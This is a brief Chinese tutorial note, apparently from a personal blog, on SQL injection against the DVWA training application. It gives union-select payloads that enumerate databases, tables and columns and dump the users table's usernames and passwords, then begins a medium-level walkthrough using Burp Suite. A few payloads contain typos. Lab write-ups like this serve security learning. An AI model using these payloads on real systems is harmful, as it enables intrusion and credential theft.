dvwa. sql注入
Created at 2019-05-19 Updated at 2019-08-15 Category 漏洞渗透
dvwa. sql注入
1.low级别
1.查询当前数据库
1’ union select 1, database()#
2.查询该数据库有几个字段,查找注入点,输入1’ 报错
后面加个#就能识别,此时注入点已经找到
下面查询数据库有几列,三列不存在
两列是有的,所有确定是两列
3.下面查询所有的数据库名字
1’ union select 1,schema_name() from information_schema.columns#
union select联合查询 schema_name 数据库名字 。 information_schema.columns
4.数据库下的表查询,联合查询所有数据库中的表!
1’ union select 1,table_name form information_schema.tables#
5.查询表中的字段
1’ union select 1,column_name from information_schema.columns#
6.查询dvwa数据库中的表 table_schema(数据库名
1’ union select 1, table_name from information_schema.tables where table_schema=’dvwa’#
7.查询数据库dvwa下user表下的字段table-name表名
1’ union select 1, column_name from information_schema.columns where table_name=’users’#
8.查询dvwa库下的账户和密码
1’ union select user, password from users; #
&emsp
&emsp
(2) . 1’ union select group_concat(user_id,user),group_concat(password) from users;#
2.medium级别
可以看出没有回显,可以用burp抓包拦截,把数值调为一,burp开始拦截,发送到repeater里面
改最下面一列的内容,右侧数据库已经显示出来了
2.查看数据库的字段,改最后一列